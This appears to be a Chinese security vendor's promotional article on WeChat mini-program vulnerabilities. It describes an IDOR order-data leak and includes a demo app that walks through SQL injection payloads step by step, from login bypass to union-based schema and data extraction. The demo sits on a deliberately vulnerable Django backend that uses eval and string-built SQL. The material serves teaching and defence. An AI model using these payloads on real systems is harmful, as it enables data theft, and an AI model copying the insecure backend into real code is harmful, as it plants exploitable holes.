春风送暖,两会在和煦的阳光中落下了帷幕,期间,互联网安全是一项备受关注的热点话题。十二届全国人大五次会议副秘书长傅莹在发布会上介绍,今年将开展网络安全执法检查,关注重点之一就是加强个人信息保护。
随着“微信小程序”的盛行,它的安全问题也不容小觑。为了贡献一己之力,知道创宇在两会期间义务为党政府机关和企事业单位提供“微信小程序”安全测试。
安全专家于超,在安全测试过程中发现某大型企业的小程序存在遍历漏洞。导致大量平台用户信息及订单信息泄露。
于超介绍说,在测试该小程序时发现在获取用户订单列表时直接使用PassportId参数进行查询,未验证查询参数PassportId是否与查询人会话身份(session)匹配,这样便导致可以通过修改PassportId值的方式获得其他用户对订单列表,从而获取用户信息。
于超建议,针对该问题,在获取用户数据时添加会话验证,只允许读取当前登录用户的订单信息,由此有效避免个人信息泄露。
经过安全服务团队结合小程序特点所做的大量分析发现,开发者可能会在小程序编写上存在SQL注入、越权访问、文件上传、CSRF信息泄露等严重安全问题,这些都会对小程序开发者、小程序用户造成严重损害,包括经济、用户信息、信任度等,甚至可能导致程序无法再使用。例如,在开发一个有查询功能的小程序时这样写:
Sqlinjection.js代码
- Page({
- data: {
- info: '',
- username: '',
- password: '',
- },
- formSubmit: (e) => {
- console.log(e.detail.value);
- wx.request({
- url: 'Example Domain',
- data: e.detail.value,
- method: 'POST',
- header: {
- 'content-type': 'application/json'
- },
- success: res => {
- wx.showModal({
- title: '服务器返回的数据',
- content: JSON.stringify(res.data),
- })
- },
- fail: err => {
- console.log('失败')
- }
- });
- },
- trueOne: function() {
- this.setData({
- info: '该方法通过或语句,使查询条件为true,以此来通过登陆验证',
- username: 'test',
- password: "' or 1='1"
- })
- },
- trueTwo: function() {
- this.setData({
- info: '该方法在通过查找是否存在账号,通过#注释吊了password的查询,若存在则查询出结果',
- username: "admin'#",
- password: '',
- })
- },
- tryColumnNum: function() {
- this.setData({
- info: 'union可以合并多条语句的结果,返回的列数必需一样,因此可通过删减null直到不报错,就可以猜出列数',
- username: "'union select null, null,null,null#",
- password: '',
- })
- },
- tryColumnNumOrder: function() {
- this.setData({
- info: 'order by 的数目若大于列数则会报错,因此可通过尝试快速猜出列数',
- username: "'order by 4#",
- password: '',
- })
- },
- getUserVersion: function() {
- this.setData({
- info: '通过union,获取用户名与数据库版本',
- username: "'union select user(), @@version, null, null#",
- password: '',
- })
- },
- getDatabaseName: function() {
- this.setData({
- info: '数据库名都保存在information_schema.schemata里',
- username: "'union select schema_name,null,null,null from information_schema.schemata#",
- password: '',
- })
- },
- getTableName: function() {
- this.setData({
- info: '查询数据库表名',
- username: "'union select table_name,null,null,null from information_schema.tables where table_schema='hackdemo'#",
- password: '',
- })
- },
- getColumnName: function() {
- this.setData({
- info: '查询表字段名',
- username: "'union select column_name,null,null,null from information_schema.columns where table_name='sqlinject_systeminfo'#",
- password: '',
- })
- },
- getTableData: function() {
- this.setData({
- info: '提取指定数据',
- username: "'union select userinfo, null,null,null from sqlinject_systeminfo#",
- password: ''
- })
- },
- clear: function() {
- this.setData({
- info: '',
- username: '',
- password: ''
- })
- }
- })
SQLinjection.wxml代码
- <import src="../common/header.wxml" />
- <import src="../common/footer.wxml" />
- <view>
- <form bindsubmit="formSubmit">
- <view>
- <view>用户名</view>
- <input name="username" id="test" value="{{username}}" />
- </view>
- <view>
- <view>密码</view>
- <input name="password" value="{{password}}" />
- </view>
- <view>
- <button formType="submit">提交</button>
- <button bindtap="clear">清除</button>
- </view>
- <view>
- <scroll-view scroll-x="true">
- <view id="green">
- <button bindtap="trueOne">or条件为true</button>
- <button bindtap="trueTwo">账号为true</button>
- <button bindtap="tryColumnNum">union 猜列数</button>
- <button bindtap="tryColumnNumOrder">orderby 猜列数</button>
- <button bindtap="getUserVersion">获取数据库ip与版本</button>
- <button bindtap="getDatabaseName">获取数据库名</button>
- <button bindtap="getTableName">获取表名</button>
- <button bindtap="getColumnName">获取列名</button>
- <button bindtap="getTableData">获取指定数据</button>
- </view>
- </scroll-view>
- </view>
- <text>
- 说明:
- {{info}}
- </text>
- </form>
- </view>
后端代码
- # coding=utf-8
- from django.shortcuts import render
- from django.http import HttpResponse
- import json
- from sqlinject.models import User
- from django.db import connection,transaction
- # Create your views here.
- def index(req):
- body = eval(req.body)
- username = body.get('username')
- password = body.get('password')
- cursor = connection.cursor()
- sql_query = "select * from sqlinject_user where username='%s' and password='%s'" % (username, password)
- cursor.execute(sql_query)
- raw = cursor.fetchall()
- return HttpResponse(json.dumps({
- u'sql语句': sql_query,
- u'结果集': raw,
- }))
该小程序输入密码处存在注入,该漏洞会造成数据脱库、数据被恶意增删改查等危险。信息窃取、数据篡改、恶意植入、用户仿冒、获取为授权资源、控制应用软件和服务器、这些都不是我们想看到的。当然,互联网的发展伴随着或多或少的问题这是无可厚非的,这就要求每位互联网从业者为互联网安全添砖加瓦。
于超等互联网精英所在的知道创宇“安应用”团队是互联网安全的领军者,更是业内第一个专业“微信小程序”安全测试团队,我们能做的就是身先士卒,用最专业的技术,最有针对性的方法维护着互联网的安全。企业目标和社会责任的结合是我们的夙愿。侠之大者,为国为民,专注维护互联网安全,我们从“小”做起。